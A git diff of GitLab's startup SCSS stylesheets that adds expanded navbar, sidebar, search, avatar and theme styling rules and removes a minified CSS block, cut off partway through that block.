+body.ui-indigo .navbar-gitlab .navbar-sub-nav > li.active > button, body.ui-indigo .navbar-gitlab .navbar-sub-nav > li.dropdown.show > a,
+body.ui-indigo .navbar-gitlab .navbar-sub-nav > li.dropdown.show > button,
+body.ui-indigo .navbar-gitlab .navbar-nav > li.active > a,
+body.ui-indigo .navbar-gitlab .navbar-nav > li.active > button,
+body.ui-indigo .navbar-gitlab .navbar-nav > li.dropdown.show > a,
+body.ui-indigo .navbar-gitlab .navbar-nav > li.dropdown.show > button {
+ color: #292961;
+ background-color: #333;
+}
+body.ui-indigo .navbar-gitlab .navbar-sub-nav {
+ color: #d1d1f0;
+}
+body.ui-indigo .navbar-gitlab .nav > li {
+ color: #d1d1f0;
+}
+body.ui-indigo .navbar-gitlab .nav > li > a.header-user-dropdown-toggle .header-user-avatar {
+ border-color: #d1d1f0;
+}
+body.ui-indigo .navbar-gitlab .nav > li.active > a,
+body.ui-indigo .navbar-gitlab .nav > li.dropdown.show > a {
+ color: #292961;
+ background-color: #333;
+}
+body.ui-indigo .search form {
+ background-color: rgba(209, 209, 240, 0.2);
+}
+body.ui-indigo .search .search-input::placeholder {
+ color: rgba(209, 209, 240, 0.8);
+}
+body.ui-indigo .search .search-input-wrap .search-icon,
+body.ui-indigo .search .search-input-wrap .clear-icon {
+ fill: rgba(209, 209, 240, 0.8);
+}
+body.ui-indigo .nav-sidebar li.active {
+ box-shadow: inset 4px 0 0 #4b4ba3;
+}
+body.ui-indigo .nav-sidebar li.active > a {
+ color: #393982;
+}
+body.ui-indigo .nav-sidebar li.active .nav-icon-container svg {
+ fill: #393982;
+}
+body.ui-indigo .sidebar-top-level-items > li.active .badge.badge-pill {
+ color: #393982;
+}
+body.gl-dark .logo-text svg {
+ fill: #fafafa;
+}
+body.gl-dark .navbar-gitlab {
+ background-color: #2e2e2e;
+}
+body.gl-dark .navbar-gitlab .navbar-sub-nav li.active > a,
+body.gl-dark .navbar-gitlab .navbar-sub-nav li.active > button,
+body.gl-dark .navbar-gitlab .navbar-sub-nav li.dropdown.show > a,
+body.gl-dark .navbar-gitlab .navbar-sub-nav li.dropdown.show > button,
+body.gl-dark .navbar-gitlab .navbar-nav li.active > a,
+body.gl-dark .navbar-gitlab .navbar-nav li.active > button,
+body.gl-dark .navbar-gitlab .navbar-nav li.dropdown.show > a,
+body.gl-dark .navbar-gitlab .navbar-nav li.dropdown.show > button {
+ color: #fafafa;
+ background-color: #707070;
+}
+body.gl-dark .navbar-gitlab .search form {
+ background-color: #4f4f4f;
+ box-shadow: inset 0 0 0 1px #4f4f4f;
+}
+.navbar-gitlab {
+ padding: 0 16px;
+ z-index: 1000;
+ margin-bottom: 0;
+ min-height: 40px;
+ border: 0;
+ border-bottom: 1px solid #4f4f4f;
+ position: fixed;
+ top: 0;
+ left: 0;
+ right: 0;
+ border-radius: 0;
+}
+.navbar-gitlab .logo-text {
+ line-height: initial;
+}
+.navbar-gitlab .logo-text svg {
+ width: 55px;
+ height: 14px;
+ margin: 0;
+ fill: #333;
+}
+.navbar-gitlab .close-icon {
+ display: none;
+}
+.navbar-gitlab .header-content {
+ width: 100%;
+ display: flex;
+ justify-content: space-between;
+ position: relative;
+ min-height: 40px;
+ padding-left: 0;
+}
+.navbar-gitlab .header-content .title-container {
+ display: flex;
+ align-items: stretch;
+ flex: 1 1 auto;
+ padding-top: 0;
+ overflow: visible;
+}
+.navbar-gitlab .header-content .title {
+ padding-right: 0;
+ color: currentColor;
+ display: flex;
+ position: relative;
+ margin: 0;
+ font-size: 18px;
+ vertical-align: top;
+ white-space: nowrap;
+}
+.navbar-gitlab .header-content .title img {
+ height: 28px;
+}
+.navbar-gitlab .header-content .title img + .logo-text {
+ margin-left: 8px;
+}
+.navbar-gitlab .header-content .title.wrap {
+ white-space: normal;
+}
+.navbar-gitlab .header-content .title a {
+ display: flex;
+ align-items: center;
+ padding: 2px 8px;
+ margin: 5px 2px 5px -8px;
+ border-radius: 4px;
+}
+.navbar-gitlab .header-content .dropdown.open > a {
+ border-bottom-color: #333;
+}
+.navbar-gitlab .header-content .navbar-collapse > ul.nav > li:not(.d-none) {
+ margin: 0 2px;
+}
+.navbar-gitlab .navbar-collapse {
+ flex: 0 0 auto;
+ border-top: 0;
+ padding: 0;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .navbar-collapse {
+ flex: 1 1 auto;
+ }
+}
+.navbar-gitlab .navbar-collapse .nav {
+ flex-wrap: nowrap;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .navbar-collapse .nav > li:not(.d-none) a {
+ margin-left: 0;
+ }
+}
+.navbar-gitlab .container-fluid {
+ padding: 0;
+}
+.navbar-gitlab .container-fluid .user-counter svg {
+ margin-right: 3px;
+}
+.navbar-gitlab .container-fluid .navbar-toggler {
+ position: relative;
+ right: -10px;
+ border-radius: 0;
+ min-width: 45px;
+ padding: 0;
+ margin: 8px -7px 8px 0;
+ font-size: 14px;
+ text-align: center;
+ color: currentColor;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .container-fluid .navbar-nav {
+ display: flex;
+ padding-right: 10px;
+ flex-direction: row;
+ }
+}
+.navbar-gitlab .container-fluid .navbar-nav li .badge.badge-pill {
+ box-shadow: none;
+ font-weight: 600;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .container-fluid .nav > li.header-user {
+ padding-left: 10px;
+ }
+}
+.navbar-gitlab .container-fluid .nav > li > a {
+ will-change: color;
+ margin: 4px 0;
+ padding: 6px 8px;
+ height: 32px;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .container-fluid .nav > li > a {
+ padding: 0;
+ }
+}
+.navbar-gitlab .container-fluid .nav > li > a.header-user-dropdown-toggle {
+ margin-left: 2px;
+}
+.navbar-gitlab .container-fluid .nav > li > a.header-user-dropdown-toggle .header-user-avatar {
+ margin-right: 0;
+}
+.navbar-gitlab .container-fluid .nav > li .header-new-dropdown-toggle {
+ margin-right: 0;
+}
+.navbar-sub-nav > li > a,
+.navbar-sub-nav > li > button,
+.navbar-nav > li > a,
+.navbar-nav > li > button {
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ padding: 6px 8px;
+ margin: 4px 2px;
+ font-size: 12px;
+ color: currentColor;
+ border-radius: 4px;
+ height: 32px;
+ font-weight: 600;
+}
+.navbar-sub-nav > li > button,
+.navbar-nav > li > button {
+ background: transparent;
+ border: 0;
+}
+.navbar-sub-nav .dropdown-menu,
+.navbar-nav .dropdown-menu {
+ position: absolute;
+}
+.navbar-sub-nav {
+ display: flex;
+ margin: 0 0 0 6px;
+}
+.caret-down,
+.btn .caret-down {
+ top: 0;
+ height: 11px;
+ width: 11px;
+ margin-left: 4px;
+ fill: currentColor;
+}
+.header-user .dropdown-menu,
+.header-new .dropdown-menu {
+ margin-top: 4px;
+}
+.btn-sign-in {
+ background-color: #ebebfa;
+ color: #292961;
+ font-weight: 600;
+ line-height: 18px;
+ margin: 4px 0 4px 2px;
+}
+.title-container .badge.badge-pill,
+.navbar-nav .badge.badge-pill {
+ position: inherit;
+ font-weight: 400;
+ margin-left: -6px;
+ font-size: 11px;
+ color: #333;
+ padding: 0 5px;
+ line-height: 12px;
+ border-radius: 7px;
+ box-shadow: 0 1px 0 rgba(76, 78, 84, 0.2);
+}
+.title-container .badge.badge-pill.green-badge,
+.navbar-nav .badge.badge-pill.green-badge {
+ background-color: #1aaa55;
+}
+.title-container .badge.badge-pill.merge-requests-count,
+.navbar-nav .badge.badge-pill.merge-requests-count {
+ background-color: #fca429;
+}
+.title-container .badge.badge-pill.todos-count,
+.navbar-nav .badge.badge-pill.todos-count {
+ background-color: #1f78d1;
+}
+.title-container .canary-badge .badge,
+.navbar-nav .canary-badge .badge {
+ font-size: 12px;
+ line-height: 16px;
+ padding: 0 0.5rem;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .container-fluid {
+ font-size: 18px;
+ }
+ .navbar-gitlab .container-fluid .navbar-nav {
+ table-layout: fixed;
+ width: 100%;
+ margin: 0;
+ text-align: right;
+ }
+ .navbar-gitlab .container-fluid .navbar-collapse {
+ margin-left: -8px;
+ margin-right: -10px;
+ }
+ .navbar-gitlab .container-fluid .navbar-collapse .nav > li:not(.d-none) {
+ flex: 1;
+ }
+ .header-user-dropdown-toggle {
+ text-align: center;
+ }
+ .header-user-avatar {
+ float: none;
+ }
+}
+.header-user.show .dropdown-menu {
+ margin-top: 4px;
+ color: #fafafa;
+ left: auto;
+ max-height: 445px;
+}
+.header-user.show .dropdown-menu svg {
+ vertical-align: text-top;
+}
+.header-user-avatar {
+ float: left;
+ margin-right: 5px;
+ border-radius: 50%;
+ border: 1px solid #333;
+}
+.media {
+ display: flex;
+ align-items: flex-start;
+}
+.card {
+ margin-bottom: 16px;
+}
+.content-wrapper {
+ width: 100%;
+}
+.content-wrapper .container-fluid {
+ padding: 0 16px;
+}
+
+@media (min-width: 768px) {
+ .page-with-contextual-sidebar {
+ padding-left: 50px;
+ }
+}
+
+@media (min-width: 1200px) {
+ .page-with-contextual-sidebar {
+ padding-left: 220px;
+ }
+}
+.context-header {
+ position: relative;
+ margin-right: 2px;
+ width: 220px;
+}
+.context-header > a,
+.context-header > button {
+ font-weight: 600;
+ display: flex;
+ width: 100%;
+ align-items: center;
+ padding: 10px 16px 10px 10px;
+ color: #fafafa;
+ background-color: transparent;
+ border: 0;
+ text-align: left;
+}
+.context-header .avatar-container {
+ flex: 0 0 40px;
+ background-color: #333;
+}
+.context-header .sidebar-context-title {
+ overflow: hidden;
+ text-overflow: ellipsis;
+}
+.context-header .sidebar-context-title.text-secondary {
+ font-weight: normal;
+ font-size: 0.8em;
+}
+.nav-sidebar {
+ position: fixed;
+ z-index: 600;
+ width: 220px;
+ top: 40px;
+ bottom: 0;
+ left: 0;
+ background-color: #2e2e2e;
+ box-shadow: inset -1px 0 0 #4f4f4f;
+ transform: translate3d(0, 0, 0);
+}
+
+@media (min-width: 576px) and (max-width: 576px) {
+ .nav-sidebar:not(.sidebar-collapsed-desktop) {
+ box-shadow: inset -1px 0 0 #4f4f4f, 2px 1px 3px rgba(0, 0, 0, 0.1);
+ }
+}
+.nav-sidebar.sidebar-collapsed-desktop {
+ width: 50px;
+}
+.nav-sidebar.sidebar-collapsed-desktop .nav-sidebar-inner-scroll {
+ overflow-x: hidden;
+}
+.nav-sidebar.sidebar-collapsed-desktop .badge.badge-pill:not(.fly-out-badge),
+.nav-sidebar.sidebar-collapsed-desktop .sidebar-context-title,
+.nav-sidebar.sidebar-collapsed-desktop .nav-item-name {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+}
+.nav-sidebar.sidebar-collapsed-desktop .sidebar-top-level-items > li > a {
+ min-height: 45px;
+}
+.nav-sidebar.sidebar-collapsed-desktop .fly-out-top-item {
+ display: block;
+}
+.nav-sidebar.sidebar-collapsed-desktop .avatar-container {
+ margin: 0 auto;
+}
+.nav-sidebar.sidebar-expanded-mobile {
+ left: 0;
+}
+.nav-sidebar a {
+ text-decoration: none;
+}
+.nav-sidebar ul {
+ padding-left: 0;
+ list-style: none;
+}
+.nav-sidebar li {
+ white-space: nowrap;
+}
+.nav-sidebar li a {
+ display: flex;
+ align-items: center;
+ padding: 12px 16px;
+ color: #bababa;
+}
+.nav-sidebar li .nav-item-name {
+ flex: 1;
+}
+.nav-sidebar li.active > a {
+ font-weight: 600;
+}
+
+@media (max-width: 767.98px) {
+ .nav-sidebar {
+ left: -220px;
+ }
+}
+.nav-sidebar .nav-icon-container {
+ display: flex;
+ margin-right: 8px;
+}
+.nav-sidebar .fly-out-top-item {
+ display: none;
+}
+.nav-sidebar svg {
+ height: 16px;
+ width: 16px;
+}
+
+@media (min-width: 768px) and (max-width: 1199px) {
+ .nav-sidebar:not(.sidebar-expanded-mobile) {
+ width: 50px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .nav-sidebar-inner-scroll {
+ overflow-x: hidden;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .badge.badge-pill:not(.fly-out-badge),
+ .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-context-title,
+ .nav-sidebar:not(.sidebar-expanded-mobile) .nav-item-name {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-top-level-items > li > a {
+ min-height: 45px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .fly-out-top-item {
+ display: block;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .avatar-container {
+ margin: 0 auto;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .context-header {
+ height: 60px;
+ width: 50px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .context-header a {
+ padding: 10px 4px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-top-level-items > li .sidebar-sub-level-items:not(.flyout-list) {
+ display: none;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .nav-icon-container {
+ margin-right: 0;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button {
+ padding: 16px;
+ width: 49px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .collapse-text,
+ .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .icon-chevron-double-lg-left {
+ display: none;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .icon-chevron-double-lg-right {
+ display: block;
+ margin: 0;
+ }
+}
+.nav-sidebar-inner-scroll {
+ height: 100%;
+ width: 100%;
+ overflow: auto;
+}
+.sidebar-sub-level-items {
+ display: none;
+ padding-bottom: 8px;
+}
+.sidebar-sub-level-items > li a {
+ padding: 8px 16px 8px 40px;
+}
+.sidebar-top-level-items {
+ margin-bottom: 60px;
+}
+
+@media (min-width: 576px) {
+ .sidebar-top-level-items > li > a {
+ margin-right: 1px;
+ }
+}
+.sidebar-top-level-items > li .badge.badge-pill {
+ background-color: rgba(255, 255, 255, 0.08);
+ color: #bababa;
+}
+.sidebar-top-level-items > li.active {
+ background: rgba(255, 255, 255, 0.04);
+}
+.sidebar-top-level-items > li.active > a {
+ margin-left: 4px;
+ padding-left: 12px;
+}
+.sidebar-top-level-items > li.active .badge.badge-pill {
+ font-weight: 600;
+}
+.sidebar-top-level-items > li.active .sidebar-sub-level-items:not(.is-fly-out-only) {
+ display: block;
+}
+.toggle-sidebar-button,
+.close-nav-button {
+ width: 219px;
+ position: fixed;
+ height: 48px;
+ bottom: 0;
+ padding: 0 16px;
+ background-color: #2e2e2e;
+ border: 0;
+ border-top: 1px solid #4f4f4f;
+ color: #bababa;
+ display: flex;
+ align-items: center;
+}
+.toggle-sidebar-button svg,
+.close-nav-button svg {
+ margin-right: 8px;
+}
+.toggle-sidebar-button .icon-chevron-double-lg-right,
+.close-nav-button .icon-chevron-double-lg-right {
+ display: none;
+}
+.collapse-text {
+ white-space: nowrap;
+ overflow: hidden;
+}
+.sidebar-collapsed-desktop .context-header {
+ height: 60px;
+ width: 50px;
+}
+.sidebar-collapsed-desktop .context-header a {
+ padding: 10px 4px;
+}
+.sidebar-collapsed-desktop .sidebar-top-level-items > li .sidebar-sub-level-items:not(.flyout-list) {
+ display: none;
+}
+.sidebar-collapsed-desktop .nav-icon-container {
+ margin-right: 0;
+}
+.sidebar-collapsed-desktop .toggle-sidebar-button {
+ padding: 16px;
+ width: 49px;
+}
+.sidebar-collapsed-desktop .toggle-sidebar-button .collapse-text,
+.sidebar-collapsed-desktop .toggle-sidebar-button .icon-chevron-double-lg-left {
+ display: none;
+}
+.sidebar-collapsed-desktop .toggle-sidebar-button .icon-chevron-double-lg-right {
+ display: block;
+ margin: 0;
+}
+.fly-out-top-item > a {
+ display: flex;
+}
+.fly-out-top-item .fly-out-badge {
+ margin-left: 8px;
+}
+.fly-out-top-item-name {
+ flex: 1;
+}
+.close-nav-button {
+ display: none;
+}
+
+@media (max-width: 767.98px) {
+ .close-nav-button {
+ display: flex;
+ }
+ .toggle-sidebar-button {
+ display: none;
+ }
+}
+table.table {
+ margin-bottom: 16px;
+}
+table.table .dropdown-menu a {
+ text-decoration: none;
+}
+table.table .success,
+table.table .info {
+ color: #333;
+}
+table.table .success a:not(.btn),
+table.table .info a:not(.btn) {
+ text-decoration: underline;
+ color: #333;
+}
+pre {
+ font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
+ display: block;
+ padding: 8px 12px;
+ margin: 0 0 8px;
+ font-size: 13px;
+ word-break: break-all;
+ word-wrap: break-word;
+ color: #fafafa;
+ background-color: #2e2e2e;
+ border: 1px solid #4f4f4f;
+ border-radius: 2px;
+}
+.monospace {
+ font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
+}
+input::-moz-placeholder,
+textarea::-moz-placeholder {
+ color: #a7a7a7;
+ opacity: 1;
+}
+input::-ms-input-placeholder,
+textarea::-ms-input-placeholder {
+ color: #a7a7a7;
+}
+input:-ms-input-placeholder,
+textarea:-ms-input-placeholder {
+ color: #a7a7a7;
+}
+svg {
+ fill: currentColor;
+}
+
+svg.s12 {
+ width: 12px;
+ height: 12px;
+}
+
+svg.s16 {
+ width: 16px;
+ height: 16px;
+}
+
+svg.s18 {
+ width: 18px;
+ height: 18px;
+}
+
+svg.s12 {
+ vertical-align: -1px;
+}
+
+svg.s16 {
+ vertical-align: -3px;
+}
+.sr-only {
+ position: absolute;
+ width: 1px;
+ height: 1px;
+ padding: 0;
+ margin: -1px;
+ overflow: hidden;
+ clip: rect(0, 0, 0, 0);
+ border: 0;
+}
+table.code {
+ width: 100%;
+ font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
+ border: 0;
+ border-collapse: separate;
+ margin: 0;
+ padding: 0;
+ table-layout: fixed;
+ border-radius: 0 0 4px 4px;
+}
+.frame .badge.badge-pill {
+ position: absolute;
+ background-color: #1b69b6;
+ color: #333;
+ border: #333 1px solid;
+ min-height: 16px;
+ padding: 5px 8px;
+ border-radius: 12px;
+}
+.frame .badge.badge-pill {
+ transform: translate(-50%, -50%);
+}
+.color-label {
+ padding: 0 0.5rem;
+ line-height: 16px;
+ border-radius: 100px;
+ color: #333;
+}
+.label-link {
+ display: inline-flex;
+ vertical-align: text-bottom;
+}
+.milestones {
+ padding: 8px;
+ margin-top: 8px;
+ border-radius: 4px;
+ background-color: #4f4f4f;
+}
+.search {
+ margin: 0 8px;
+}
+.search form {
+ margin: 0;
+ padding: 4px;
+ width: 200px;
+ line-height: 24px;
+ height: 32px;
+ border: 0;
+ border-radius: 4px;
+}
+
+@media (min-width: 1200px) {
+ .search form {
+ width: 320px;
+ }
+}
+.search .search-input {
+ border: 0;
+ font-size: 14px;
+ padding: 0 20px 0 0;
+ margin-left: 5px;
+ line-height: 25px;
+ width: 98%;
+ color: #333;
+ background: none;
+}
+.search .search-input-container {
+ display: flex;
+ position: relative;
+}
+.search .search-input-wrap {
+ width: 100%;
+}
+.search .search-input-wrap .search-icon,
+.search .search-input-wrap .clear-icon {
+ position: absolute;
+ right: 5px;
+ top: 4px;
+}
+.search .search-input-wrap .search-icon {
+ -moz-user-select: none;
+ user-select: none;
+}
+.search .search-input-wrap .clear-icon {
+ display: none;
+}
+.search .search-input-wrap .dropdown {
+ position: static;
+}
+.search .search-input-wrap .dropdown-menu {
+ left: -5px;
+ max-height: 400px;
+ overflow: auto;
+}
+
+@media (min-width: 1200px) {
+ .search .search-input-wrap .dropdown-menu {
+ width: 320px;
+ }
+}
+.search .search-input-wrap .dropdown-content {
+ max-height: 382px;
+}
+.settings {
+ border-top: 1px solid #4f4f4f;
+}
+.settings:first-of-type {
+ margin-top: 10px;
+ border: 0;
+}
+.settings + div .settings:first-of-type {
+ margin-top: 0;
+ border-top: 1px solid #4f4f4f;
+}
+.avatar, .avatar-container {
+ float: left;
+ margin-right: 16px;
+ border-radius: 50%;
+ border: 1px solid #333;
+}
+.s16.avatar, .s16.avatar-container {
+ width: 16px;
+ height: 16px;
+ margin-right: 8px;
+}
+.s18.avatar, .s18.avatar-container {
+ width: 18px;
+ height: 18px;
+ margin-right: 8px;
+}
+.s40.avatar, .s40.avatar-container {
+ width: 40px;
+ height: 40px;
+ margin-right: 8px;
+}
+.avatar {
+ transition-property: none;
+ width: 40px;
+ height: 40px;
+ padding: 0;
+ background: #222;
+ overflow: hidden;
+ border-color: rgba(255, 255, 255, 0.1);
+}
+.avatar.center {
+ font-size: 14px;
+ line-height: 1.8em;
+ text-align: center;
+}
+.avatar.avatar-tile {
+ border-radius: 0;
+ border: 0;
+}
+.avatar-container {
+ overflow: hidden;
+ display: flex;
+}
+.avatar-container a {
+ width: 100%;
+ height: 100%;
+ display: flex;
+ text-decoration: none;
+}
+.avatar-container .avatar {
+ border-radius: 0;
+ border: 0;
+ height: auto;
+ width: 100%;
+ margin: 0;
+ align-self: center;
+}
+.avatar-container.s40 {
+ min-width: 40px;
+ min-height: 40px;
+}
+.rect-avatar {
+ border-radius: 2px;
+}
+.rect-avatar.s16 {
+ border-radius: 2px;
+}
+.rect-avatar.s18 {
+ border-radius: 2px;
+}
+.rect-avatar.s40 {
+ border-radius: 4px;
+}
+.tab-width-8 {
+ -moz-tab-size: 8;
+ tab-size: 8;
+}
+.gl-sr-only {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+}
+.gl-ml-3 {
+ margin-left: 0.5rem;
+}
+.content-wrapper > .alert-wrapper,
+#content-body, .modal-dialog {
+ display: block;
+}
+@import 'cloaking';
+@include cloak-startup-scss(none);
diff --git a/app/assets/stylesheets/startup/startup-general.scss b/app/assets/stylesheets/startup/startup-general.scss
index 2a7a9255ded..a98e91b32eb 100644
--- a/app/assets/stylesheets/startup/startup-general.scss
+++ b/app/assets/stylesheets/startup/startup-general.scss
@@ -1,5 +1,1833 @@
-@charset "UTF-8";*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;overflow-y:scroll}header,nav{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Noto Sans",Ubuntu,Cantarell,"Helvetica Neue",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-weight:400;line-height:1.5;color:#303030;text-align:left;background-color:#fff}hr{box-sizing:content-box;height:0;margin-top:.5rem;margin-bottom:.5rem;border:0;border-top:1px solid rgba(0,0,0,.1);overflow:hidden;margin:24px 0;border-top:1px solid #eee}p,ul{margin-top:0;margin-bottom:1rem}ul ul{margin-bottom:0}strong{font-weight:700}a{text-decoration:none;background-color:transparent;color:#1068bf}a:not([href]){color:inherit;text-decoration:none}code{font-family:"Menlo","DejaVu Sans Mono","Liberation Mono","Consolas","Ubuntu Mono","Courier New","andale mono","lucida console",monospace;font-size:90%;word-wrap:break-word;padding:2px 4px;color:#1f1f1f;background-color:#f0f0f0;border-radius:4px}img{vertical-align:middle;border-style:none}svg{overflow:hidden;vertical-align:baseline;fill:currentColor}button{border-radius:0;text-transform:none}button,input{margin:0;font-family:inherit;font-size:inherit;line-height:inherit;overflow:visible}[type=button]:not(:disabled),button:not(:disabled){cursor:pointer}[type=button]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}[type=search]{outline-offset:-2px}summary{display:list-item;cursor:pointer}[hidden]{display:none!important}.h1,h1{margin-bottom:.25rem;font-weight:600;line-height:1.2;color:#303030;font-size:2.1875rem}.list-unstyled{padding-left:0;list-style:none}a>code{color:inherit}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container{max-width:540px}}@media (min-width:768px){.container{max-width:720px}}@media (min-width:992px){.container{max-width:960px}}@media (min-width:1200px){.container{max-width:1140px}}.container-fluid{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container{max-width:540px}}@media (min-width:768px){.container{max-width:720px}}@media (min-width:992px){.container{max-width:960px}}@media (min-width:1200px){.container{max-width:1140px}}.search form{display:block;padding:.375rem .75rem;font-weight:400;color:#303030;background-color:#fff;background-clip:padding-box;border-radius:.25rem}.search form::-ms-expand{background-color:transparent;border:0}.search form:-moz-focusring{color:transparent;text-shadow:0 0 0 #303030}.search form::placeholder{opacity:1;color:#919191}.search form:disabled{background-color:#fafafa;opacity:1}.form-inline{display:flex;flex-flow:row wrap;align-items:center}@media (min-width:576px){.form-inline .search form,.search .form-inline form{display:inline-block;width:auto;vertical-align:middle}}.btn{display:inline-block;text-align:center;vertical-align:middle;cursor:pointer;user-select:none;border:1px solid transparent;padding:.375rem .75rem;line-height:20px;border-radius:.25rem}.btn:disabled{opacity:.65}.btn-success{color:#fff;background-color:#108548;border-color:#108548}.btn-success:disabled{color:#fff;background-color:#108548;border-color:#108548}.btn-success:not(:disabled):not(.disabled).active,.btn-success:not(:disabled):not(.disabled):active,.show>.btn-success.dropdown-menu-toggle{color:#fff;background-color:#0b572f;border-color:#094c29}.btn-sm{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.collapse:not(.show){display:none}.dropdown-menu-toggle::after{margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-menu-toggle:empty::after{margin-left:0}.dropdown-menu{left:0;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;font-size:1rem;color:#303030;text-align:left;list-style:none;background-clip:padding-box;border:1px solid rgba(0,0,0,.15)}.dropdown-menu-right{right:0;left:auto}.divider{height:0;margin:4px 0;overflow:hidden;border-top:1px solid #dbdbdb}.dropdown-menu.show{display:block}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.navbar{position:relative;padding:.25rem .5rem}.navbar,.navbar .container,.navbar .container-fluid{display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between}.navbar-nav{display:flex;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .dropdown-menu{float:none}.navbar-collapse{flex-basis:100%;flex-grow:1;align-items:center}.navbar-toggler{padding:.25rem .75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:.25rem}@media (max-width:575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:576px){.navbar-expand-sm{flex-flow:row nowrap;justify-content:flex-start}.navbar-expand-sm .navbar-nav{flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{flex-wrap:nowrap}.navbar-expand-sm .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}}.badge,.card{border-radius:.25rem}.card{position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#fff;background-clip:border-box;border:1px solid #dbdbdb}.card>hr{margin-right:0;margin-left:0}.badge{display:inline-block;padding:.25em .4em;font-size:75%;font-weight:600;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:.6em;padding-left:.6em;border-radius:10rem}.close{float:right;font-size:1.5rem;font-weight:600;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.5}button.close{padding:0;background-color:transparent;border:0;appearance:none}.bg-transparent{background-color:transparent!important}.border{border:1px solid #dbdbdb!important}.rounded{border-radius:.25rem!important}.d-none{display:none!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}@media (min-width:576px){.d-sm-none{display:none!important}}@media (min-width:768px){.d-md-block{display:block!important}}@media (min-width:992px){.d-lg-none{display:none!important}.d-lg-block{display:block!important}}@media (min-width:1200px){.d-xl-block{display:block!important}}.float-right{float:right!important}.sr-only{white-space:nowrap}.m-auto{margin:auto!important}.text-nowrap{white-space:nowrap!important}.search form,body{font-size:.875rem}[role=button],button,html [type=button]{cursor:pointer}.h1,h1{margin-top:20px;margin-bottom:10px}input[type=file]{line-height:1}.code>code{background-color:inherit;padding:unset}.hidden{display:none!important;visibility:hidden!important}.dropdown-menu-toggle::after,.hide{display:none}.badge:not(.gl-badge){padding:4px 5px;font-size:12px;font-style:normal;font-weight:400;display:inline-block}.toggle-sidebar-button .collapse-text,.toggle-sidebar-button .icon-chevron-double-lg-left,.toggle-sidebar-button .icon-chevron-double-lg-right{color:#707070}body{text-decoration-skip:ink}.container{padding-top:0;z-index:5}.container .content{margin:0}@media (max-width:575.98px){.container .content{margin-top:20px}.container .container .title{padding-left:15px!important}}.btn{border-radius:4px;font-size:.875rem;font-weight:400;padding:6px 10px;background-color:#fff;border-color:#dbdbdb;color:#303030;white-space:nowrap}.btn:active{box-shadow:none}.btn.active,.btn:active{box-shadow:rgba(0,0,0,.16);background-color:#eaeaea;border-color:#e3e3e3;color:#303030}.btn.btn-sm{padding:4px 